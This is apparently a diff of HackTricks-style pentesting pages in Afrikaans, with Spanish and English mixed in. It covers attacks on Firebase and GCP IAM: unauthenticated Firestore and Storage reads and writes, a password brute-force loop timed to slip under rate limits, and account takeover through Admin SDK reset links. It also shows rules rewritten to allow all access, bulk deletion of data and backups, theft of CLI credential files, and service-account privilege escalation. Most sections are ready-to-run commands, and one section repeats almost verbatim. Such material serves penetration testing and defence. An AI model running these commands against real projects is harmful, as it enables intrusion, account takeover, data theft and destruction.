+```bash
+curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
+-H "Content-Type: application/json" \
+-d '{
+"fields": {
+"name": {"stringValue": "Test"},
+"email": {"stringValue": "test@example.com"}
+}
+}'
+```
+Om 'n bestaande dokument te wysig, moet PATCH gebruik word:
+```bash
+curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/users/<user-id> \
+-H "Content-Type: application/json" \
+-d '{
+"fields": {
+"role": {"stringValue": "admin"}
+}
+}'
+```
+Om 'n dokument te verwyder en diensweigering te veroorsaak:
+```bash
+curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
+```
+### Blootstelling van lêers in Firebase Storage
+'n Aanvaller het nie enige spesifieke Firebase-toestemmings nodig om hierdie aanval uit te voer nie. Dit vereis slegs dat daar 'n kwesbare konfigurasie is in die Firebase Storage security rules waar die reëls lees- of skryftoegang sonder verifikasie of met onvoldoende validering toelaat. Storage rules beheer lees- en skryftoestemmings onafhanklik, so 'n fout in 'n reël kan slegs lees-toegang, slegs skryf-toegang, of albei blootstel. 'n Voorbeeld van 'n verkeerd-gekonfigureerde reël wat volle toegang verleen is:
+```bash
+service cloud.firestore {
+match /databases/{database}/documents/{document=**} {
+allow read, write: if true;
+}
+}
+```
+Hierdie reël gee lees- en skryf-toegang tot alle dokumente sonder enige beperkings. Firestore-reëls is fynkorrelig en word per collection en per document toegepas, so 'n fout in 'n spesifieke reël kan slegs sekere collections blootstel. Die aanvaller moet die Firebase Project ID identifiseer; dit kan gevind word deur mobiele toepassing reverse engineering, ontleding van konfigurasielêers soos google-services.json of GoogleService-Info.plist, inspeksie van webapp-bronkode, of network traffic analysis om versoeke na firestore.googleapis.com te identifiseer.
+
+Die Firestore REST API gebruik die formaat: `https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.`
+
+As die reëls lees-toegang sonder verifikasie toelaat, kan die aanvaller collections en documents lees. Eerstens probeer hulle toegang tot 'n spesifieke collection kry.
+```bash
+curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
+curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"
+```
+Indien die reaksie die lys van lêers bevat in plaas van 'n toestemmingsfout, is die lêer blootgestel. Die aanvaller kan die inhoud van die lêers sien deur hul pad te spesifiseer:
+```bash
+curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"
+```
+As die rules onbevoegde skryftoegang toelaat of onvoldoende validering het, kan die attacker kwaadwillige lêers oplaai. Om 'n lêer deur die REST API op te laai:
+```bash
+curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
+-H "Content-Type: <content-type>" \
+--data-binary @<local-file>
+```
+Die aanvaller kan code shells, malware payloads, of groot lêers oplaai om 'n denial of service te veroorsaak. As die toepassing opgelaaide lêers verwerk of uitvoer, kan die aanvaller remote code execution bewerkstellig. Om lêers te verwyder en 'n denial of service te veroorsaak:
+```bash
+curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"
+```
+### Aanroeping van openbare Firebase Cloud Functions
+An attacker benodig nie enige spesifieke Firebase permissions om hierdie probleem uit te buit nie; dit vereis slegs dat 'n Cloud Function publieklik oor HTTP toeganklik is sonder authentication.
+
+'n funksie is kwesbaar wanneer dit onveilig gekonfigureer is:
+
+- Dit gebruik functions.https.onRequest, wat nie authentication afdwing nie (in teenstelling met onCall functions).
+- Die funksie se kode valideer nie user authentication nie (bv. geen kontrole vir request.auth of context.auth nie).
+- Die funksie is publieklik toeganklik in IAM, wat beteken allUsers het die roles/cloudfunctions.invoker rol. Dit is die default behavior vir HTTP functions tensy die ontwikkelaar toegang beperk.
+
+Firebase HTTP Cloud Functions word blootgestel deur URL'e soos:
+
+- https://<region>-<project-id>.cloudfunctions.net/<function-name>
+- https://<project-id>.web.app/<function-name> (when integrated with Firebase Hosting)
+
+An attacker kan hierdie URLs ontdek deur source code analysis, network traffic inspection, enumeration tools, or mobile app reverse engineering.
+If the function is publicly exposed and unauthenticated, the attacker can invoke it directly without credentials.
+```bash
+# Invoke public HTTP function with GET
+curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
+# Invoke public HTTP function with POST and data
+curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>" \
+-H "Content-Type: application/json" \
+-d '{"param1": "value1", "param2": "value2"}'
+```
+As die funksie nie insette behoorlik valideer nie, kan die aanvaller ander aanvalle probeer, soos code injection of command injection.
+
+
+### Brute-force attack against Firebase Authentication with a weak password policy
+’n Aanvaller het geen spesifieke Firebase permissions nodig om hierdie aanval uit te voer nie. Dit vereis slegs dat die Firebase API Key blootgestel is in mobiele of webtoepassings, en dat die wagwoordbeleid nie met meer stringe vereistes as die verstek ingestel is nie.
+
+Die aanvaller moet die Firebase API Key identifiseer, wat gevind kan word deur mobile app reverse engineering, ontleding van konfigurasielêers soos google-services.json of GoogleService-Info.plist, inspeksie van die bronkode van webtoepassings (bv. in bootstrap.js), of analise van netwerkverkeer.
+
+Firebase Authentication’s REST API gebruik die endpoint:
+`https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>`
+om met e-pos en wagwoord te autentikeer.
+
+As Email Enumeration Protection gedeaktiveer is, kan API-foutantwoorde openbaar of ’n email in die stelsel bestaan (EMAIL_NOT_FOUND vs. INVALID_PASSWORD), wat aanvallers toelaat om bestaande gebruikers te identifiseer voordat hulle wagwoordraaisels probeer. Wanneer hierdie beskerming geaktiveer is, gee die API dieselfde foutboodskap vir beide nie-bestaande emails en verkeerde wagwoorde, wat gebruikersenumerasie voorkom.
+
+Dit is belangrik om daarop te let dat Firebase Authentication rate limiting afdwing, wat versoeke kan blokkeer as te veel autentikasiepogings binne ’n kort tyd plaasvind. Daarom sal ’n aanvaller vertragings tussen pogings moet inbring om te voorkom dat versoeke deur die rate limiting geblokkeer word.
+
+Die aanvaller identifiseer die API Key en voer autentikasiepogings uit met veelvuldige wagwoorde teen bekende rekeninge. As Email Enumeration Protection gedeaktiveer is, kan die aanvaller bestaande gebruikers identifiseer deur die foutantwoorde te ontleed:
+```bash
+# Attempt authentication with a known email and an incorrect password
+curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
+-H "Content-Type: application/json" \
+-d '{
+"email": "usuario@example.com",
+"password": "password",
+"returnSecureToken": true
+}'
+```
+As die reaksie EMAIL_NOT_FOUND bevat, bestaan die e-pos nie in die stelsel nie. As dit INVALID_PASSWORD bevat, bestaan die e-pos wel, maar die wagwoord is verkeerd, wat bevestig dat die gebruiker geregistreer is. Sodra 'n geldige gebruiker geïdentifiseer is, kan die aanvaller brute-force attempts uitvoer. Dit is belangrik om pouses tussen pogings in te sluit om Firebase Authentication se rate-limiting-meganismes te vermy:
+```bash
+counter=1
+for password in $(cat wordlist.txt); do
+echo "Intento $counter: probando contraseña '$password'"
+response=$(curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
+-H "Content-Type: application/json" \
+-d "{\"email\":\"usuario@example.com\",\"password\":\"$password\",\"returnSecureToken\":true}")
+
+if echo "$response" | grep -q "idToken"; then
+echo "Contraseña encontrada: $password (intento $counter)"
+break
+fi
+
+# Stop for the rate limiting
+sleep 1
+counter=$((counter + 1))
+done
+```
+With the default password policy (minimum 6 characters, no complexity requirements), the attacker can try all possible combinations of 6-character passwords, which represents a relatively small search space compared to stricter password policies.
+
+### Gebruikersbestuur in Firebase Authentication
+
+Die aanvaller benodig spesifieke Firebase Authentication-permissies om hierdie aanval uit te voer. Die vereiste permissies is:
+
+- `firebaseauth.users.create` to create users
+- `firebaseauth.users.update` to modify existing users
+- `firebaseauth.users.delete` to delete users
+- `firebaseauth.users.get` to retrieve user information
+- `firebaseauth.users.sendEmail` to send emails to users
+- `firebaseauth.users.createSession` to create user sessions
+
+Hierdie permissies is ingesluit in die `roles/firebaseauth.admin` rol, wat volle lees/skryf-toegang tot Firebase Authentication-bronne verleen. Hulle is ook ingesluit in hoërvlak rolle soos `roles/firebase.developAdmin` (which includes all firebaseauth.* permissions) en `roles/firebase.admin` (full access to all Firebase services).
+
+Om die Firebase Admin SDK te gebruik, sou die aanvaller toegang tot service account credentials (JSON file) benodig, wat moontlik op gekompromitteerde stelsels, publiek blootgestelde code repositories, gekompromitteerde CI/CD-stelsels, of deur die kompromittering van developer accounts wat toegang tot hierdie credentials het, gevind kan word.
+
+Die eerste stap is om die Firebase Admin SDK te konfigureer met service account credentials.
+```bash
+import firebase_admin
+from firebase_admin import credentials, auth
+cred = credentials.Certificate('path/to/serviceAccountKey.json')
+firebase_admin.initialize_app(cred)
+```
+Om 'n malicious user te skep met 'n victim se email, sou die attacker probeer om die Firebase Admin SDK te gebruik om 'n nuwe account onder daardie email te genereer.
+```bash
+user = auth.create_user(
+email='victima@example.com',
+email_verified=False,
+password='password123',
+display_name='Usuario Malicioso',
+disabled=False
+)
+print(f'Usuario creado: {user.uid}')
+```
+Om 'n bestaande gebruiker te wysig, sou die attacker velde bywerk soos die e-posadres, die verifikasiestatus of die feit of die rekening gedeaktiveer is.
+```bash
+user = auth.update_user(
+uid,
+email='nuevo-email@example.com',
+email_verified=True,
+disabled=False
+)
+print(f'Usuario actualizado: {user.uid}')
+```
+Om 'n gebruikersrekening te verwyder en 'n denial of service te veroorsaak, sou die aanvaller 'n versoek stuur om die gebruiker heeltemal te verwyder.
+```bash
+auth.delete_user(uid)
+print('Usuario eliminado exitosamente')
+```
+Die attacker kan ook inligting oor bestaande gebruikers terugkry deur hul UID of e-posadres aan te vra.
+```bash
+user = auth.get_user(uid)
+print(f'Información del usuario: {user.uid}, {user.email}')
+user = auth.get_user_by_email('usuario@example.com')
+print(f'Información del usuario: {user.uid}, {user.email}')
+```
+Daarbenewens kan die aanvaller verifikasie-skakels of wagwoord-herstelskakels genereer om 'n gebruiker se wagwoord te verander en toegang tot hul rekening te kry.
+```bash
+link = auth.generate_email_verification_link(email)
+print(f'Link de verificación: {link}')
+link = auth.generate_password_reset_link(email)
+print(f'Link de reset: {link}')
+```
+### Gebruikersbestuur in Firebase Authentication
+'n aanvaller benodig spesifieke Firebase Authentication-magtigings om hierdie aanval uit te voer. Die vereiste magtigings is:
+
+- `firebaseauth.users.create` to create users
+- `firebaseauth.users.update` to modify existing users
+- `firebaseauth.users.delete` to delete users
+- `firebaseauth.users.get` to obtain user information
+- `firebaseauth.users.sendEmail` to send emails to users
+- `firebaseauth.users.createSession` to create user sessions
+
+Hierdie magtigings is ingesluit in die roles/firebaseauth.admin-rol, wat volledige lees/skryf-toegang tot Firebase Authentication-bronne verleen. Hulle is ook deel van hoërvlak-rolle soos `roles/firebase.developAdmin` (wat alle firebaseauth.* magtigings insluit) en `roles/firebase.admin` (volledige toegang tot alle Firebase-dienste).
+
+Om die Firebase Admin SDK te gebruik, sou die aanvaller toegang tot diensrekeningsbewyse (n JSON-lêer) benodig, wat verkry kan word vanaf gekompromiseerde stelsels, publiek-blootgestelde kode-repositorys, gekompromiseerde CI/CD-omgewings, of deur die kompromittering van ontwikkelaarsrekeninge wat toegang tot hierdie bewysstukke het.
+
+Die eerste stap is om die Firebase Admin SDK te konfigureer met behulp van die diensrekeningsbewyse.
+```bash
+import firebase_admin
+from firebase_admin import credentials, auth
+cred = credentials.Certificate('path/to/serviceAccountKey.json')
+firebase_admin.initialize_app(cred)
+```
+Om 'n kwaadwillige gebruiker te skep deur 'n slagoffer se e-pos te gebruik, sou die aanvaller probeer om 'n nuwe gebruikersrekening met daardie e-pos aan te maak en hul eie wagwoord en profielinligting toe te ken.
+```bash
+user = auth.create_user(
+email='victima@example.com',
+email_verified=False,
+password='password123',
+display_name='Usuario Malicioso',
+disabled=False
+)
+print(f'Usuario creado: {user.uid}')
+```
+Om 'n bestaande gebruiker te wysig, sou die attacker velde verander, soos die e-posadres, die verifikasiestatus of die toestand van die rekening (gedeaktiveer of nie).
+```bash
+user = auth.update_user(
+uid,
+email='nuevo-email@example.com',
+email_verified=True,
+disabled=False
+)
+print(f'Usuario actualizado: {user.uid}')
+```
+Om 'n gebruikersrekening te verwyder—wat effektief 'n denial of service veroorsaak—sou die aanvaller 'n versoek stuur om daardie gebruiker permanent te verwyder.
+```bash
+auth.delete_user(uid)
+print('Usuario eliminado exitosamente')
+```
+The attacker kon ook inligting oor bestaande gebruikers bekom, soos hul UID of email, deur gebruikersbesonderhede op te vra of per UID of per emailadres.
+```bash
+user = auth.get_user(uid)
+print(f'Información del usuario: {user.uid}, {user.email}')
+user = auth.get_user_by_email('usuario@example.com')
+print(f'Información del usuario: {user.uid}, {user.email}')
+```
+Verder kan die aanvaller verifikasie links of password-reset links genereer, wat hulle in staat stel om die wagwoord van ’n gebruiker te verander en die rekening oor te neem.
+```bash
+link = auth.generate_email_verification_link(email)
+print(f'Link de verificación: {link}')
+link = auth.generate_password_reset_link(email)
+print(f'Link de reset: {link}')
+```
+### Wysiging van sekuriteitsreëls in Firebase-dienste
+Die aanvaller het spesifieke toestemmings nodig om sekuriteitsreëls te wysig, afhangend van die diens. Vir Cloud Firestore en Firebase Cloud Storage is die vereiste toestemmings `firebaserules.rulesets.create` om rulesets te skep en `firebaserules.releases.create` om releases te ontplooi. Hierdie toestemmings is ingesluit in die `roles/firebaserules.admin` rol of in hoërvlakrolle soos `roles/firebase.developAdmin` en `roles/firebase.admin`. Vir Firebase Realtime Database is die vereiste toestemming `firebasedatabase.instances.update`.
+
+Die aanvaller moet die Firebase REST API gebruik om die sekuriteitsreëls te wysig.
+Eerstens sal die aanvaller 'n toegangstoken moet verkry deur diensrekeningbewyse te gebruik.
+Om die toegangstoken te verkry:
+```bash
+gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
+ACCESS_TOKEN=$(gcloud auth print-access-token)
+```
+Om Firebase Realtime Database-reëls te wysig:
+```bash
+curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
+-H "Content-Type: application/json" \
+-d '{
+"rules": {
+".read": true,
+".write": true
+}
+}'
+```
+Om Cloud Firestore-reëls te wysig, moet die aanvaller 'n ruleset skep en dit dan ontplooi:
+```bash
+curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
+-H "Authorization: Bearer $ACCESS_TOKEN" \
+-H "Content-Type: application/json" \
+-d '{
+"source": {
+"files": [{
+"name": "firestore.rules",
+"content": "rules_version = '\''2'\'';\nservice cloud.firestore {\n  match /databases/{database}/documents {\n    match /{document=**} {\n      allow read, write: if true;\n    }\n  }\n}"
+}]
+}
+}'
+```
+Die vorige kommando gee ’n ruleset-naam terug in die formaat projects/<project-id>/rulesets/<ruleset-id>. Om die nuwe weergawe te ontplooi, moet die release bygewerk word met ’n PATCH request:
+```bash
+curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
+-H "Authorization: Bearer $ACCESS_TOKEN" \
+-H "Content-Type: application/json" \
+-d '{
+"release": {
+"name": "projects/<project-id>/releases/cloud.firestore",
+"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
+}
+}'
+```
+Om Firebase Cloud Storage-reëls te wysig:
+```bash
+curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
+-H "Authorization: Bearer $ACCESS_TOKEN" \
+-H "Content-Type: application/json" \
+-d '{
+"source": {
+"files": [{
+"name": "storage.rules",
+"content": "service firebase.storage {\n  match /b/{bucket}/o {\n    match /{allPaths=**} {\n      allow read, write: if true;\n    }\n  }\n}"
+}]
+}
+}'
+```
+Die vorige opdrag gee 'n ruleset-naam terug in die formaat projects/<project-id>/rulesets/<ruleset-id>. Om die nuwe weergawe te ontplooi, moet die release met 'n PATCH request opgedateer word:
+```bash
+curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
+-H "Authorization: Bearer $ACCESS_TOKEN" \
+-H "Content-Type: application/json" \
+-d '{
+"release": {
+"name": "projects/<project-id>/releases/firebase.storage/<bucket-id>",
+"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
+}
+}'
+```
+### Data exfiltration and manipulation in Cloud Firestore
+Cloud Firestore gebruik dieselfde infrastruktuur en toestemmingsisteem as Cloud Datastore, dus geld Datastore IAM permissions direk vir Firestore. Om TTL-beleid te manipuleer, is die permissie `datastore.indexes.update` benodig. Om data uit te voer, is die permissie `datastore.databases.export` benodig. Om data te importeer, is die permissie datastore.databases.import benodig. Om massiewe dataverwydering uit te voer, is die permissie `datastore.databases.bulkDelete` benodig.
+
+Vir rugsteun- en hersteloperasies is spesifieke permissies benodig:
+
+- `datastore.backups.get` and `datastore.backups.list` om beskikbare rugsteune te lys en besonderhede daarvan te kry
+- `datastore.backups.delete` om rugsteune te verwyder
+- `datastore.backups.restoreDatabase` om 'n databasis uit 'n rugsteun te herstel
+- `datastore.backupSchedules.create` and `datastore.backupSchedules.delete` om rugsteunskedules te bestuur
+
+Wanneer 'n TTL-beleid geskep word, word 'n aangewese eienskap gekies om entiteite te identifiseer wat geskik is vir verwydering. Hierdie TTL-eienskap moet van die datum- en tydtipe wees. Die aanvaller kan 'n eienskap kies wat reeds bestaan of 'n eienskap aanwys wat hulle later beplan om by te voeg. As die waarde van die veld 'n datum in die verlede is, word die dokument geskik vir onmiddellike verwydering. Die aanvaller kan die gcloud CLI gebruik om TTL-beleid te manipuleer.
+```bash
+# Enable TTL
+gcloud firestore fields ttls update expireAt \
+--collection-group=users \
+--enable-ttl
+# Disable TTL
+gcloud firestore fields ttls update expireAt \
+--collection-group=users \
+--disable-ttl
+```
+Om data uit te voer en te exfiltrate, kan die aanvaller die gcloud CLI gebruik.
+```bash
+gcloud firestore export gs://<bucket-name> --project=<project-id> --async --database='(default)'
+```
+Om kwaadwillige data in te voer:
+```bash
+gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'
+```
+Om massadataverwydering uit te voer en 'n denial of service te veroorsaak, kan die aanvaller die gcloud Firestore bulk-delete tool gebruik om hele versamelings te verwyder.
+```bash
+gcloud firestore bulk-delete \
+--collection-ids=users,posts,messages \
+--database='(default)' \
+--project=<project-id>
+```
+Vir backup- en restore-operasies kan die aanvaller geskeduleerde backups skep om die huidige toestand van die database vas te vang, bestaande backups te lys, vanaf 'n backup te restore om onlangse veranderings oor te skryf, backups te verwyder om permanente dataverlies te veroorsaak, en geskeduleerde backups te verwyder.
+Om 'n daaglikse backup-skedule te skep wat onmiddellik 'n backup genereer:
+```bash
+gcloud firestore backups schedules create \
+--database='(default)' \
+--recurrence=daily \
+--retention=14w \
+--project=<project-id>
+```
+Om van 'n spesifieke rugsteun te herstel, kan die aanvaller 'n nuwe databasis skep wat die data in daardie rugsteun bevat. Die hersteloperasie skryf die rugsteun se data in 'n nuwe databasis, wat beteken dat 'n bestaande DATABASE_ID nie gebruik kan word nie.
+```bash
+gcloud firestore databases restore \
+--source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
+--destination-database='<new-database-id>' \
+--project=<project-id>
+```
+Om 'n rugsteun te verwyder en permanente dataverlies te veroorsaak:
+```bash
+gcloud firestore backups delete \
+--backup=<backup-id> \
+--project=<project-id>
+```
+### Diefstal en misbruik van Firebase CLI credentials
+’n Aanvaller het nie spesifieke Firebase-permissies nodig om hierdie aanval uit te voer nie, maar hy/sy het toegang tot die ontwikkelaar se plaaslike stelsel of die Firebase CLI credentials-lêer nodig. Hierdie credentials word in ’n JSON-lêer gestoor, geleë by:
+
+- Linux/macOS: ~/.config/configstore/firebase-tools.json
+
+- Windows: C:\Users\[User]\.config\configstore\firebase-tools.json
+
+Hierdie lêer bevat authentication tokens, insluitend die refresh_token en access_token, wat die aanvaller toelaat om as die gebruiker wat oorspronklik firebase login uitgevoer het, te autentiseer.
+
+Die aanvaller verkry toegang tot die Firebase CLI credentials-lêer. Hulle kan dan die hele lêer na hul eie stelsel kopieer, en die Firebase CLI sal outomaties die credentials vanaf sy verstek-ligging gebruik. Nadat dit gedoen is, kan die aanvaller alle Firebase projekte sien wat vir daardie gebruiker toeganklik is.
+```bash
+firebase projects:list
+```
+{{#include ../../../banners/hacktricks-training.md}}
@@ -12,54 +12,51 @@ Vind meer inligting oor IAM in:

 ### `iam.roles.update` (`iam.roles.get`)

-An attacker met die genoemde permissies sal 'n rol wat aan jou toegewys is kan opdateer en jou ekstra permissies vir ander hulpbronne kan gee, soos:
-
-<details><summary>Werk IAM-rol by om permissies by te voeg</summary>
+'n aanvaller met die genoemde permissies kan 'n rol wat aan jou toegeken is wysig en jou ekstra permissies gee vir ander hulpbronne soos:
 ```bash
 gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
 ```
-</details>
-
-Jy kan 'n script vind om die **creation, exploit and cleaning of a vuln environment here** te outomatiseer en 'n python script om hierdie voorreg te misbruik [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Vir meer inligting kyk na die [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
-
+Jy kan 'n skrip vind om die **skepping, exploit en skoonmaak van 'n vuln-omgewing hier** te outomatiseer en 'n python-skrip om hierdie privilege te misbruik [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Vir meer inligting, sien die [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
+```bash
+gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>
+```
+### `iam.roles.create` & `iam.serviceAccounts.setIamPolicy`
+Die iam.roles.create-permissie maak die skepping van pasgemaakte rolle in 'n projek/organisasie moontlik. In die hande van 'n aanvaller is dit gevaarlik, omdat dit hulle in staat stel om nuwe stelle toestemmings te definieer wat later aan entiteite toegeken kan word (byvoorbeeld deur gebruik te maak van die iam.serviceAccounts.setIamPolicy-permissie) met die doel van privilege escalation.
+```bash
+gcloud iam roles create <ROLE_ID> \
+--project=<PROJECT_ID> \
+--title="<Title>" \
+--description="<Description>" \
+--permissions="permission1,permission2,permission3"
+```
 ### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)

-'n aanvaller met die genoemde permissies sal in staat wees om **request an access token that belongs to a Service Account**, dus is dit moontlik om 'n access token van 'n Service Account met meer voorregte as ons eie te verkry.
-
-<details><summary>Impersonate service account to get access token</summary>
+'n aanvaller met die genoemde toestemmings sal in staat wees om **request an access token that belongs to a Service Account**, dus is dit moontlik om 'n access token van 'n Service Account te versoek wat meer bevoegdhede het as ons s'n.
 ```bash
 gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
 auth print-access-token
 ```
-</details>
-
-Jy kan 'n script vind om die [**skepping, exploit en skoonmaak van 'n vuln environment hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) te outomatiseer en 'n python script om hierdie voorreg te misbruik [**hier**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Vir meer inligting, sien die [**oorspronklike navorsing**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
+Jy kan 'n skrip vind om die [**skepping, uitbuiting en skoonmaak van 'n kwesbare omgewing hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) te outomatiseer en 'n python-skrip om hierdie voorreg [**hier**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py) te misbruik. Vir meer inligting, sien die [**oorspronklike navorsing**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).

 ### `iam.serviceAccountKeys.create`

-'n Aanvaller met die genoemde toestemmings sal in staat wees om **'n gebruikersbeheerde sleutel vir 'n Service Account te skep**, wat ons toelaat om op GCP as daardie Service Account toegang te kry.
-
-<details><summary>Skep service account sleutel en verifieer</summary>
+'n aanvaller met die genoemde toestemmings sal in staat wees om **'n gebruikersbeheerde sleutel vir 'n Service Account te skep**, wat ons sal toelaat om toegang tot GCP te kry as daardie Service Account.
 ```bash
 gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json

 gcloud auth activate-service-account --key-file=sa_cred.json
 ```
-</details>
-
-Jy kan 'n script vind om die [**skepping, uitbuiting en skoonmaak van 'n kwetsbare omgewing hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) te outomatiseer en 'n python script om hierdie voorreg te misbruik [**hier**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Vir meer inligting kyk die [**oorspronklike navorsing**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
+Jy kan 'n skrip vind om die [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) te outomatiseer en 'n python-skrip om hierdie voorreg te misbruik [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Vir meer inligting sien die [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).

 Let wel dat **`iam.serviceAccountKeys.update` nie sal werk om die sleutel van 'n SA te wysig nie** omdat die toestemming `iam.serviceAccountKeys.create` ook nodig is.

 ### `iam.serviceAccounts.implicitDelegation`

-As jy die **`iam.serviceAccounts.implicitDelegation`** toestemming op 'n Service Account het wat die **`iam.serviceAccounts.getAccessToken`** toestemming op 'n derde Service Account het, kan jy implicitDelegation gebruik om **'n token vir daardie derde Service Account te skep**. Hier is 'n diagram om dit te verduidelik.
+As jy die **`iam.serviceAccounts.implicitDelegation`** toestemming op 'n Service Account het wat die **`iam.serviceAccounts.getAccessToken`** toestemming op 'n derde Service Account het, kan jy implicitDelegation gebruik om **'n token te skep vir daardie derde Service Account**. Hier is 'n diagram om dit te verduidelik.

 ![](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image2-500x493.png)

-Neem ook kennis dat volgens die [**dokumentasie**](https://cloud.google.com/iam/docs/understanding-service-accounts), die delegasie van `gcloud` slegs werk om 'n token te genereer met die [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) metode. Hieronder is hoe om 'n token direk met die API te kry:
-
-<details><summary>Genereer toegangstoken met delegasie deur die API</summary>
+Let wel dat volgens die [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), die delegasie van `gcloud` slegs werk om 'n token te genereer deur gebruik te maak van die [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) metode. Hier is hoe om 'n token direk met die API te kry:
 ```bash
 curl -X POST \
 'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
@@ -70,27 +67,23 @@ curl -X POST \
 "scope": ["https://www.googleapis.com/auth/cloud-platform"]
 }'
 ```
-</details>
-
-Jy kan 'n script vind om die [**skepping, uitbuiting en skoonmaak van 'n kwesbare omgewing hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) te outomatiseer en 'n python script om hierdie voorreg [**hier**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py) te misbruik. Vir meer inligting, sien die [**oorspronklike navorsing**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
+Jy kan 'n script vind om die [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) te outomatiseer en 'n python script om hierdie voorreg te misbruik [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Vir meer inligting kyk die [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).

 ### `iam.serviceAccounts.signBlob`

-'n Aanvaller met die genoemde permissies sal in staat wees om **ewekansige payloads in GCP te onderteken**. Dit maak dit moontlik om **'n ongetekende JWT van die SA te skep en dit as 'n blob te stuur om die JWT deur die geteikende SA te laat teken**. Vir meer inligting [**lees dit**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
+'n Aanvaller met die genoemde permissies sal in staat wees om **arbitêre payloads in GCP te onderteken**. Dit maak dit moontlik om **'n ongetekende JWT van die SA te skep en dit dan as 'n blob te stuur om die JWT deur die teiken-SA te laat onderteken**. Vir meer inligting [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).

